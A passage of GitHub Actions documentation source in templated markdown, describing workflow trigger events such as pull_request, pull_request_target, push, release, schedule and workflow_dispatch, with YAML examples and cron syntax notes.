commit on default branch | Default branch | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#project_column). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -{% data reusables.actions.branch-requirement %} - -> [!NOTE] -> This event only occurs for projects owned by the workflow's repository, not for organization-owned or user-owned projects or for projects owned by another repository. - -{% ifversion fpt or ghec %} - -> [!NOTE] -> This event only occurs for {% data variables.product.prodname_projects_v1 %}. - -{% endif %} - -Runs your workflow when a column on a {% data variables.projects.projects_v1_board %} is created or modified. For activity related to {% data variables.projects.projects_v1_boards %} or cards in a {% data variables.projects.projects_v1_board %}, use the [`project`](#project) or [`project_card`](#project_card) event instead. For more information about {% data variables.projects.projects_v1_boards %}, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards). For information about the project column APIs, see [AUTOTITLE](/graphql/reference/objects#projectcolumn) in the GraphQL API documentation or [AUTOTITLE](/rest/projects#columns). - -For example, you can run a workflow when a project column has been `created` or `deleted`. - -```yaml -on: - project_column: - types: [created, deleted] -``` - -{% endif %} - -## `public` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`public`](/webhooks-and-events/webhooks/webhook-events-and-payloads#public) | Not applicable | Last commit on default branch | Default branch | - -{% data reusables.actions.branch-requirement %} - -Runs your workflow when your workflow's repository changes from private to public. For information about the REST API, see [AUTOTITLE](/rest/repos#edit). - -For example, you can run a workflow when the `public` event occurs. - -```yaml -on: - public -``` - -## `pull_request` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`pull_request`](/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request) | - `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `opened`<br/>- `edited`<br/>- `closed`<br/>- `reopened`<br/>- `synchronize`<br/>- `converted_to_draft`<br/>- `locked`<br/>- `unlocked`<br/>{% ifversion fpt or ghec %}- `enqueued`<br/>- `dequeued`<br/>{% endif %}- `milestoned`<br/>- `demilestoned`<br/>- `ready_for_review`<br/>- `review_requested`<br/>- `review_request_removed`<br/>- `auto_merge_enabled`<br/>- `auto_merge_disabled` | Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/PULL_REQUEST_NUMBER/merge` | - -> [!NOTE] -> * {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request). By default, a workflow only runs when a `pull_request` event's activity type is `opened`, `synchronize`, or `reopened`. To trigger workflows by different activity types, use the `types` keyword. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#onevent_nametypes). -> * Workflows will not run on `pull_request` activity if the pull request has a merge conflict. The merge conflict must be resolved first. -> Conversely, workflows with the `pull_request_target` event will run even if the pull request has a merge conflict. Before using the `pull_request_target` trigger, you should be aware of the security risks. For more information, see [`pull_request_target`](#pull_request_target). -> * The `pull_request` webhook event payload is empty for merged pull requests and pull requests that come from forked repositories. -> * The value of `GITHUB_REF` varies for a closed pull request depending on whether the pull request has been merged or not. If a pull request was closed but not merged, it will be `refs/pull/PULL_REQUEST_NUMBER/merge`. If a pull request was closed as a result of being merged, it will be the fully qualified `ref` of the branch it was merged into, for example `/refs/heads/main`. - -Runs your workflow when activity on a pull request in the workflow's repository occurs. For example, if no activity types are specified, the workflow runs when a pull request is opened or reopened or when the head branch of the pull request is updated. For activity related to pull request reviews, pull request review comments, or pull request comments, use the [`pull_request_review`](#pull_request_review), [`pull_request_review_comment`](#pull_request_review_comment), or [`issue_comment`](#issue_comment) events instead. For information about the pull request APIs, see [AUTOTITLE](/graphql/reference/objects#pullrequest) in the GraphQL API documentation or [AUTOTITLE](/rest/pulls). - -Note that `GITHUB_SHA` for this event is the last merge commit of the pull request merge branch. If you want to get the commit ID for the last commit to the head branch of the pull request, use `github.event.pull_request.head.sha` instead. - -For example, you can run a workflow when a pull request has been opened or reopened. - -```yaml -on: - pull_request: - types: [opened, reopened] -``` - -You can use the event context to further control when jobs in your workflow will run. For example, this workflow will run when a review is requested on a pull request, but the `specific_review_requested` job will only run when a review by `octo-team` is requested. - -```yaml -on: - pull_request: - types: [review_requested] -jobs: - specific_review_requested: - runs-on: ubuntu-latest - if: {% raw %}${{ github.event.requested_team.name == 'octo-team'}}{% endraw %} - steps: - - run: echo 'A review from octo-team was requested' -``` - -### Running your `pull_request` workflow based on the head or base branch of a pull request - -You can use the `branches` or `branches-ignore` filter to configure your workflow to only run on pull requests that target specific branches. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore). - -For example, this workflow will run when someone opens a pull request that targets a branch whose name starts with `releases/`: - -```yaml -on: - pull_request: - types: - - opened - branches: - - 'releases/**' -``` - -> [!NOTE] -> {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a pull request that includes a change to a JavaScript (`.js`) file is opened on a branch whose name starts with `releases/`: -> -> ```yaml -> on: -> pull_request: -> types: -> - opened -> branches: -> - 'releases/**' -> paths: -> - '**.js' -> ``` - -To run a job based on the pull request's head branch name (as opposed to the pull request's base branch name), use the `github.head_ref` context in a conditional. For example, this workflow will run whenever a pull request is opened, but the `run_if` job will only execute if the head of the pull request is a branch whose name starts with `releases/`: - -```yaml -on: - pull_request: - types: - - opened -jobs: - run_if: - if: startsWith(github.head_ref, 'releases/') - runs-on: ubuntu-latest - steps: - - run: echo "The head of this PR starts with 'releases/'" -``` - -### Running your `pull_request` workflow based on files changed in a pull request - -You can also configure your workflow to run when a pull request changes specific files. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore). - -For example, this workflow will run when a pull request includes a change to a JavaScript file (`.js`): - -```yaml -on: - pull_request: - paths: - - '**.js' -``` - -> [!NOTE] -> {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a pull request that includes a change to a JavaScript (`.js`) file is opened on a branch whose name starts with `releases/`: -> -> ```yaml -> on: -> pull_request: -> types: -> - opened -> branches: -> - 'releases/**' -> paths: -> - '**.js' -> ``` - -### Running your `pull_request` workflow when a pull request merges - -When a pull request merges, the pull request is automatically closed. To run a workflow when a pull request merges, use the `pull_request` `closed` event type along with a conditional that checks the `merged` value of the event. For example, the following workflow will run whenever a pull request closes. The `if_merged` job will only run if the pull request was also merged. - -```yaml -on: - pull_request: - types: - - closed - -jobs: - if_merged: - if: github.event.pull_request.merged == true - runs-on: ubuntu-latest - steps: - - run: | - echo The PR was merged -``` - -{% data reusables.developer-site.pull_request_forked_repos_link %} - -## `pull_request_comment` (use `issue_comment`) - -To run your workflow when a comment on a pull request (not on a pull request's diff) is created, edited, or deleted, use the [`issue_comment`](#issue_comment) event. For activity related to pull request reviews or pull request review comments, use the [`pull_request_review`](#pull_request_review) or [`pull_request_review_comment`](#pull_request_review_comment) events. - -## `pull_request_review` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`pull_request_review`](/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request_review) | - `submitted`<br/>- `edited`<br/>- `dismissed` | Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/PULL_REQUEST_NUMBER/merge` | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request_review). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -Runs your workflow when a pull request review is submitted, edited, or dismissed. A pull request review is a group of pull request review comments in addition to a body comment and a state. For activity related to pull request review comments or pull request comments, use the [`pull_request_review_comment`](#pull_request_review_comment) or [`issue_comment`](#issue_comment) events instead. For information about the pull request review APIs, see [AUTOTITLE](/graphql/reference/objects#pullrequest) in the GraphQL API documentation or [AUTOTITLE](/rest/pulls#reviews). - -For example, you can run a workflow when a pull request review has been `edited` or `dismissed`. - -```yaml -on: - pull_request_review: - types: [edited, dismissed] -``` - -### Running a workflow when a pull request is approved - -To run your workflow when a pull request has been approved, you can trigger your workflow with the `submitted` type of `pull_request_review` event, then check the review state with the `github.event.review.state` property. For example, this workflow will run whenever a pull request review is submitted, but the `approved` job will only run if the submitted review is an approving review: - -```yaml -on: - pull_request_review: - types: [submitted] - -jobs: - approved: - if: github.event.review.state == 'approved' - runs-on: ubuntu-latest - steps: - - run: echo "This PR was approved" -``` - -{% data reusables.developer-site.pull_request_forked_repos_link %} - -## `pull_request_review_comment` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`pull_request_review_comment`](/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request_review_comment) | - `created`<br/>- `edited`<br/>- `deleted`| Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/PULL_REQUEST_NUMBER/merge` | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request_review_comment). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -Runs your workflow when a pull request review comment is modified. A pull request review comment is a comment on a pull request's diff. For activity related to pull request reviews or pull request comments, use the [`pull_request_review`](#pull_request_review) or [`issue_comment`](#issue_comment) events instead. For information about the pull request review comment APIs, see [AUTOTITLE](/graphql/reference/objects#pullrequestreviewcomment) in the GraphQL API documentation or [AUTOTITLE](/rest/pulls#comments). - -For example, you can run a workflow when a pull request review comment has been `created` or `deleted`. - -```yaml -on: - pull_request_review_comment: - types: [created, deleted] -``` - -{% data reusables.developer-site.pull_request_forked_repos_link %} - -## `pull_request_target` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`pull_request`](/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request) | - `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `opened`<br/>- `edited`<br/>- `closed`<br/>- `reopened`<br/>- `synchronize`<br/>- `converted_to_draft`<br/>- `ready_for_review`<br/>- `locked`<br/>- `unlocked` <br/>- `review_requested` <br/>- `review_request_removed` <br/>- `auto_merge_enabled` <br/>- `auto_merge_disabled` | Last commit on the PR base branch | PR base branch | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#pull_request). By default, a workflow only runs when a `pull_request_target` event's activity type is `opened`, `synchronize`, or `reopened`. To trigger workflows by different activity types, use the `types` keyword. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#onevent_nametypes). - -Runs your workflow when activity on a pull request in the workflow's repository occurs. For example, if no activity types are specified, the workflow runs when a pull request is opened or reopened or when the head branch of the pull request is updated. - -This event runs in the context of the base of the pull request, rather than in the context of the merge commit, as the `pull_request` event does. This prevents execution of unsafe code from the head of the pull request that could alter your repository or steal any secrets you use in your workflow. This event allows your workflow to do things like label or comment on pull requests from forks. Avoid using this event if you need to build or run code from the pull request. - -To ensure repository security, branches with names that match certain patterns (such as those which look similar to SHAs) may not trigger workflows with the `pull_request_target` event. - -{% data reusables.actions.pull-request-target-permissions-warning %} - -For example, you can run a workflow when a pull request has been `assigned`, `opened`, `synchronize`, or `reopened`. - -```yaml -on: - pull_request_target: - types: [assigned, opened, synchronize, reopened] -``` - -### Running your `pull_request_target` workflow based on the head or base branch of a pull request - -You can use the `branches` or `branches-ignore` filter to configure your workflow to only run on pull requests that target specific branches. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore). - -For example, this workflow will run when someone opens a pull request that targets a branch whose name starts with `releases/`: - -```yaml -on: - pull_request_target: - types: - - opened - branches: - - 'releases/**' -``` - -> [!NOTE] -> {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a pull request that includes a change to a JavaScript (`.js`) file is opened on a branch whose name starts with `releases/`: -> -> ```yaml -> on: -> pull_request_target: -> types: -> - opened -> branches: -> - 'releases/**' -> paths: -> - '**.js' -> ``` - -To run a job based on the pull request's head branch name (as opposed to the pull request's base branch name), use the `github.head_ref` context in a conditional. For example, this workflow will run whenever a pull request is opened, but the `run_if` job will only execute if the head of the pull request is a branch whose name starts with `releases/`: - -```yaml -on: - pull_request_target: - types: - - opened -jobs: - run_if: - if: startsWith(github.head_ref, 'releases/') - runs-on: ubuntu-latest - steps: - - run: echo "The head of this PR starts with 'releases/'" -``` - -### Running your `pull_request_target` workflow based on files changed in a pull request - -You can use the `paths` or `paths-ignore` filter to configure your workflow to run when a pull request changes specific files. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore). - -For example, this workflow will run when a pull request includes a change to a JavaScript file (`.js`): - -```yaml -on: - pull_request_target: - paths: - - '**.js' -``` - -> [!NOTE] -> {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a pull request that includes a change to a JavaScript (`.js`) file is opened on a branch whose name starts with `releases/`: -> -> ```yaml -> on: -> pull_request_target: -> types: -> - opened -> branches: -> - 'releases/**' -> paths: -> - '**.js' -> ``` - -### Running your `pull_request_target` workflow when a pull request merges - -When a pull request merges, the pull request is automatically closed. To run a workflow when a pull request merges, use the `pull_request_target` `closed` event type along with a conditional that checks the `merged` value of the event. For example, the following workflow will run whenever a pull request closes. The `if_merged` job will only run if the pull request was also merged. - -```yaml -on: - pull_request_target: - types: - - closed - -jobs: - if_merged: - if: github.event.pull_request.merged == true - runs-on: ubuntu-latest - steps: - - run: | - echo The PR was merged -``` - -## `push` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`push`](/webhooks-and-events/webhooks/webhook-events-and-payloads#push) | Not applicable | Tip commit pushed to the ref. When you delete a branch, the SHA in the workflow run (and its associated refs) reverts to the default branch of the repository. | Updated ref | - -> [!NOTE] -> The webhook payload available to GitHub Actions does not include the `added`, `removed`, and `modified` attributes in the `commit` object. You can retrieve the full commit object using the API. For information, see [AUTOTITLE](/graphql/reference/objects#commit) in the GraphQL API documentation or [AUTOTITLE](/rest/commits#get-a-commit). - -> [!NOTE] -> {% ifversion fpt or ghec or ghes > 3.14 %}Events will not be created if more than 5,000 branches are pushed at once. {% endif %}Events will not be created for tags when more than three tags are pushed at once. - -Runs your workflow when you push a commit or tag, or when you create a repository from a template. - -For example, you can run a workflow when the `push` event occurs. - -```yaml -on: - push -``` - -> [!NOTE] -> When a `push` webhook event triggers a workflow run, the Actions UI's "pushed by" field shows the account of the pusher and not the author or committer. However, if the changes are pushed to a repository using SSH authentication with a deploy key, then the "pushed by" field will be the repository admin who verified the deploy key when it was added it to a repository. - -### Running your workflow only when a push to specific branches occurs - -You can use the `branches` or `branches-ignore` filter to configure your workflow to only run when specific branches are pushed. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore). - -For example, this workflow will run when someone pushes to `main` or to a branch that starts with `releases/`. - -```yaml -on: - push: - branches: - - 'main' - - 'releases/**' -``` - -> [!NOTE] -> {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a push that includes a change to a JavaScript (`.js`) file is made to a branch whose name starts with `releases/`: -> -> ```yaml -> on: -> push: -> branches: -> - 'releases/**' -> paths: -> - '**.js' -> ``` - -### Running your workflow only when a push of specific tags occurs - -You can use the `tags` or `tags-ignore` filter to configure your workflow to only run when specific tags are pushed. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore). - -For example, this workflow will run when someone pushes a tag that starts with `v1.`. - -```yaml -on: - push: - tags: - - v1.** -``` - -### Running your workflow only when a push affects specific files - -You can use the `paths` or `paths-ignore` filter to configure your workflow to run when a push to specific files occurs. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore). - -For example, this workflow will run when someone pushes a change to a JavaScript file (`.js`): - -```yaml -on: - push: - paths: - - '**.js' -``` - -> [!NOTE] -> {% data reusables.actions.branch-paths-filter %} For example, the following workflow will only run when a push that includes a change to a JavaScript (`.js`) file is made to a branch whose name starts with `releases/`: -> -> ```yaml -> on: -> push: -> branches: -> - 'releases/**' -> paths: -> - '**.js' -> ``` - -## `registry_package` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`registry_package`](/webhooks-and-events/webhooks/webhook-events-and-payloads#package) | - `published`<br/>- `updated` | Commit of the published package | Branch or tag of the published package | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#registry_package). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -{% data reusables.actions.branch-requirement %} - -> [!NOTE] -> When pushing multi-architecture container images, this event occurs once per manifest, so you might observe your workflow triggering multiple times. To mitigate this, and only run your workflow job for the event that contains the actual image tag information, use a conditional: -> -> ```yaml -> jobs: -> job_name: -> if: ${{ github.event.registry_package.package_version.container_metadata.tag.name != '' }} -> ``` - -Runs your workflow when activity related to {% data variables.product.prodname_registry %} occurs in your repository. For more information, see [{% data variables.product.prodname_registry %} Documentation](/packages). - -For example, you can run a workflow when a new package version has been `published`. - -```yaml -on: - registry_package: - types: [published] -``` - -## `release` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`release`](/webhooks-and-events/webhooks/webhook-events-and-payloads#release) | - `published` <br/>- `unpublished` <br/>- `created` <br/>- `edited` <br/>- `deleted` <br/>- `prereleased`<br/> - `released` | Last commit in the tagged release | Tag ref of release `refs/tags/<tag_name>` | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#release). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -> [!NOTE] -> Workflows are not triggered for the `created`, `edited`, or `deleted` activity types for draft releases. When you create your release through the {% data variables.product.github %} UI, your release may automatically be saved as a draft. - -> [!NOTE] -> The `prereleased` type will not trigger for pre-releases published from draft releases, but the `published` type will trigger. If you want a workflow to run when stable _and_ pre-releases publish, subscribe to `published` instead of `released` and `prereleased`. - -Runs your workflow when release activity in your repository occurs. For information about the release APIs, see [AUTOTITLE](/graphql/reference/objects#release) in the GraphQL API documentation or [AUTOTITLE](/rest/releases) in the REST API documentation. - -For example, you can run a workflow when a release has been `published`. - -```yaml -on: - release: - types: [published] -``` - -## `repository_dispatch` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| ------------------ | ------------ | ------------ | ------------------| -| [repository_dispatch](/webhooks-and-events/webhooks/webhook-events-and-payloads#repository_dispatch) | Custom | Last commit on default branch | Default branch | - -{% data reusables.actions.branch-requirement %} - -You can use the {% data variables.product.github %} API to trigger a webhook event called [`repository_dispatch`](/webhooks-and-events/webhooks/webhook-events-and-payloads#repository_dispatch) when you want to trigger a workflow for activity that happens outside of {% data variables.product.github %}. For more information, see [AUTOTITLE](/rest/repos/repos#create-a-repository-dispatch-event). - -When you make a request to create a `repository_dispatch` event, you must specify an `event_type` to describe the activity type. By default, all `repository_dispatch` activity types trigger a workflow to run. You can use the `types` keyword to limit your workflow to run when a specific `event_type` value is sent in the `repository_dispatch` webhook payload. - -```yaml -on: - repository_dispatch: - types: [test_result] -``` - -> [!NOTE] -> The `event_type` value is limited to 100 characters. - -Any data that you send through the `client_payload` parameter will be available in the `github.event` context in your workflow. For example, if you send this request body when you create a repository dispatch event: - -```json -{ - "event_type": "test_result", - "client_payload": { - "passed": false, - "message": "Error: timeout" - } -} -``` - -then you can access the payload in a workflow like this: - -```yaml -on: - repository_dispatch: - types: [test_result] - -jobs: - run_if_failure: - if: {% raw %}${{ !github.event.client_payload.passed }}{% endraw %} - runs-on: ubuntu-latest - steps: - - env: - MESSAGE: {% raw %}${{ github.event.client_payload.message }}{% endraw %} - run: echo $MESSAGE -``` - -> [!NOTE] -> * The maximum number of top-level properties in `client_payload` is 10. -> * The payload can contain a maximum of 65,535 characters. - -## `schedule` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| Not applicable | Not applicable | Last commit on default branch | Default branch | When the scheduled workflow is set to run. A scheduled workflow uses [POSIX cron syntax](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07). For more information, see [AUTOTITLE](/actions/using-workflows#triggering-a-workflow-with-events). | - -> [!NOTE] -> * {% data reusables.actions.schedule-delay %} -> * This event will only trigger a workflow run if the workflow file is on the default branch. -> * Scheduled workflows will only run on the default branch. -> * In a public repository, scheduled workflows are automatically disabled when no repository activity has occurred in 60 days. For information on re-enabling a disabled workflow, see [AUTOTITLE](/enterprise-server@3.12/actions/using-workflows/disabling-and-enabling-a-workflow#enabling-a-workflow). -> * For an enterprise with {% data variables.product.prodname_emus %}, scheduled workflows will not run if the last `actor` associated with the scheduled workflow has been deprovisioned (and therefore become suspended) by the {% data variables.product.prodname_emu %} identity provider (IdP). However, if the last `actor` {% data variables.product.prodname_emu %} has not been deprovisioned by the IdP, and has only been removed as a member from a given organization in the enterprise, scheduled workflows will still run with that user set as the `actor`. Similarly, for an enterprise without {% data variables.product.prodname_emus %}, removing a user from an organization will not prevent scheduled workflows which had that user as their `actor` from running. Essentially, triggering a scheduled workflow requires that the status of the `actor` user account associated with the workflow is currently active (i.e. not suspended or deleted). Thus, the _user account's_ status, in both {% data variables.product.prodname_emu %} and non-{% data variables.product.prodname_emu %} scenarios, is what's important, _not_ the user's _membership status_ in the organization where the scheduled workflow is located. -> * For a deactivated scheduled workflow, if a user with `write` permissions to the repository makes a commit that changes the `cron` schedule on the workflow, the workflow will be reactivated, and that user will become the `actor` associated with any workflow runs. Note that, in this situation, the workflow is not reactivated by any change to the workflow file; you must alter the `cron` value in the workflow and commit this change. -> -> **Example:** -> -> ```yaml -> on: -> schedule: -> - cron: "15 4,5 * * *" # <=== Change this value -> ``` - -The `schedule` event allows you to trigger a workflow at a scheduled time. - -{% data reusables.repositories.actions-scheduled-workflow-example %} - -Cron syntax has five fields separated by a space, and each field represents a unit of time. - -```text -┌───────────── minute (0 - 59) -│ ┌───────────── hour (0 - 23) -│ │ ┌───────────── day of the month (1 - 31) -│ │ │ ┌───────────── month (1 - 12 or JAN-DEC) -│ │ │ │ ┌───────────── day of the week (0 - 6 or SUN-SAT) -│ │ │ │ │ -│ │ │ │ │ -│ │ │ │ │ -* * * * * -``` - -You can use these operators in any of the five fields: - -| Operator | Description | Example | -| -------- | ----------- | ------- | -| * | Any value | `15 * * * *` runs at every minute 15 of every hour of every day. | -| , | Value list separator | `2,10 4,5 * * *` runs at minute 2 and 10 of the 4th and 5th hour of every day. | -| - | Range of values | `30 4-6 * * *` runs at minute 30 of the 4th, 5th, and 6th hour. | -| / | Step values | `20/15 * * * *` runs every 15 minutes starting from minute 20 through 59 (minutes 20, 35, and 50). | - -> [!NOTE] -> {% data variables.product.prodname_actions %} does not support the non-standard syntax `@yearly`, `@monthly`, `@weekly`, `@daily`, `@hourly`, and `@reboot`. - -You can use [crontab guru](https://crontab.guru/) to help generate your cron syntax and confirm what time it will run. To help you get started, there is also a list of [crontab guru examples](https://crontab.guru/examples.html). - -Notifications for scheduled workflows are sent to the user who last modified the cron syntax in the workflow file. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs). - -## `status` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`status`](/webhooks-and-events/webhooks/webhook-events-and-payloads#status) | Not applicable | Last commit on default branch | Not applicable | - -{% data reusables.actions.branch-requirement %} - -Runs your workflow when the status of a Git commit changes. For example, commits can be marked as `error`, `failure`, `pending`, or `success`. If you want to provide more details about the status change, you may want to use the [`check_run`](#check_run) event. For information about the commit status APIs, see [AUTOTITLE](/graphql/reference/objects#status) in the GraphQL API documentation or [AUTOTITLE](/rest/commits#commit-statuses). - -For example, you can run a workflow when the `status` event occurs. - -```yaml -on: - status -``` - -If you want to run a job in your workflow based on the new commit state, you can use the `github.event.state` context. For example, the following workflow triggers when a commit status changes, but the `if_error_or_failure` job only runs if the new commit state is `error` or `failure`. - -```yaml -on: - status -jobs: - if_error_or_failure: - runs-on: ubuntu-latest - if: >- - github.event.state == 'error' || - github.event.state == 'failure' - steps: - - env: - DESCRIPTION: {% raw %}${{ github.event.description }}{% endraw %} - run: | - echo The status is error or failed: $DESCRIPTION -``` - -## `watch` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`watch`](/webhooks-and-events/webhooks/webhook-events-and-payloads#watch) | - `started` | Last commit on default branch | Default branch | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} Although only the `started` activity type is supported, specifying the activity type will keep your workflow specific if more activity types are added in the future. For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#watch). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -{% data reusables.actions.branch-requirement %} - -Runs your workflow when the workflow's repository is starred. For information about the pull request APIs, see [AUTOTITLE](/graphql/reference/mutations#addstar) in the GraphQL API documentation or [AUTOTITLE](/rest/activity/starring). - -For example, you can run a workflow when someone stars a repository, which is the `started` activity type for a watch event. - -```yaml -on: - watch: - types: [started] -``` - -## `workflow_call` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| ------------------ | ------------ | ------------ | ------------------| -| Same as the caller workflow | Not applicable | Same as the caller workflow | Same as the caller workflow | - -`workflow_call` is used to indicate that a workflow can be called by another workflow. When a workflow is triggered with the `workflow_call` event, the event payload in the called workflow is the same event payload from the calling workflow. For more information see, [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -The example below only runs the workflow when it's called from another workflow: - -```yaml -on: workflow_call -``` - -## `workflow_dispatch` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| ------------------ | ------------ | ------------ | ------------------| -| [workflow_dispatch](/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_dispatch) | Not applicable | Last commit on the `GITHUB_REF` branch or tag | Branch or tag that received dispatch | - -{% data reusables.actions.branch-requirement %} - -To enable a workflow to be triggered manually, you need to configure the `workflow_dispatch` event. You can manually trigger a workflow run using the {% data variables.product.github %} API, {% data variables.product.prodname_cli %}, or the {% data variables.product.github %} UI. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/manually-running-a-workflow). - -```yaml -on: workflow_dispatch -``` - -### Providing inputs - -You can configure custom-defined input properties, default input values, and required inputs for the event directly in your workflow. When you trigger the event, you can provide the `ref` and any `inputs`. When the workflow runs, you can access the input values in the `inputs` context. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts). - -{% data reusables.actions.inputs-vs-github-event-inputs %} - -This example defines inputs called `logLevel`, `tags`, and `environment`. You pass values for these inputs to the workflow when you run it. This workflow then prints the values to the log, using the `inputs.logLevel`, `inputs.tags`, and `inputs.environment` context properties. - -```yaml -on: - workflow_dispatch: - inputs: - logLevel: - description: 'Log level' - required: true - default: 'warning' - type: choice - options: - - info - - warning - - debug - tags: - description: 'Test scenario tags' - required: false - type: boolean - environment: - description: 'Environment to run tests against' - type: environment - required: true - -jobs: - log-the-inputs: - runs-on: ubuntu-latest - steps: - - run: | - echo "Log level: $LEVEL" - echo "Tags: $TAGS" - echo "Environment: $ENVIRONMENT" - env: - LEVEL: {% raw %}${{ inputs.logLevel }}{% endraw %} - TAGS: {% raw %}${{ inputs.tags }}{% endraw %} - ENVIRONMENT: {% raw %}${{ inputs.environment }}{% endraw %} -``` - -If you run this workflow from a browser you must enter values for the required inputs manually before the workflow will run. - -![Screenshot of a list of workflow runs. A dropdown menu, labeled "Run workflow" and expanded to show input fields, is outlined in dark orange.](/assets/images/help/actions/workflow-dispatch-inputs.png) - -You can also pass inputs when you run a workflow from a script, or by using {% data variables.product.prodname_cli %}. For example: - -```shell -gh workflow run run-tests.yml -f logLevel=warning -f tags=false -f environment=staging -``` - -For more information, see the {% data variables.product.prodname_cli %} information in [AUTOTITLE](/actions/managing-workflow-runs/manually-running-a-workflow). - -## `workflow_run` - -| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` | -| --------------------- | -------------- | ------------ | -------------| -| [`workflow_run`](/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_run) | - `completed`<br/>- `requested`<br/>- `in_progress` | Last commit on default branch | Default branch | - -> [!NOTE] -> {% data reusables.developer-site.multiple_activity_types %} The `requested` activity type does not occur when a workflow is re-run. For information about each activity type, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_run). {% data reusables.developer-site.limit_workflow_to_activity_types %} - -{% data reusables.actions.branch-requirement %} - -> [!NOTE] -> You can't use `workflow_run` to chain together more than three levels of workflows. For example, if you attempt to trigger five workflows (named `B` to `F`) to run sequentially after an initial workflow `A` has run (that is: `A` → `B` → `C` → `D` → `E` → `F`), workflows `E` and `F` will not be run. - -This event occurs when a workflow run is requested or completed. It 